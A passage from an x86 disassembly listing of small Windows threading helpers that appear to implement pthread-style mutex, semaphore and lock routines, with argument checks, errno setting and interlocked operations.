		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		call	near ptr 274095Ah
		nop
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27C092Fh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 274095Ah
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27C092Fh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 2830000h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 27401BFh
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 283094Ch
		nop
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 2770586h
		nop
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2770586h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2740000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C222E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 273069Dh
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
